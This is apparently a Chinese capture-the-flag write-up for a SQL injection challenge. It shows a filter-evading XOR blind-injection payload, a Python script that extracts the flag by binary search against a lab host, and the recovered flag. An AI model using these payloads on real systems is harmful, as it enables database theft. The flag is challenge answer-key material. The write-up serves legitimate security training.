id=1
id=2
fuzz 一下,空格/union/order by/updatexml/and/or
等字符
尝试盲注,题目给出表及字段,使用异或连接,用括号代替空格
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
import requests url="http://9fbcd2c9-29c1-45ee-8aa2-d17756ace4c0.node4.buuoj.cn:81/index.php" target="" ## 本函数进行注入 # @param i 数据的每个位置 # @param j ASCII 码(二分法) # @return 返回 True 或 False # def payload(i,j): payload="0^" + "(ascii(substr((select(flag)from(flag)),{},1))>{})".format(i,j) post_data = {'id': payload} res=requests.post(url, data=post_data) # print(url+payload) # 用回显页面内元素判断 if "girlfriend." in res.text: status=1 # True else: status=0 # False return status ## 本函数用于遍历数据的每一位 # def exp(): global target for i in range(1,10000): low=31 heigh=127 while low<=heigh: mid=(low+heigh)//2 res=payload(i,mid) if res: low=mid+1 else: heigh=mid-1 result=int(low+heigh+1)//2 if(result==127 or result==31): break target+=chr(result) print(target) # 启动 exp exp()
得到:flag{9dac589a-3b83-4cdc-b67f-21f89b8f7f5c}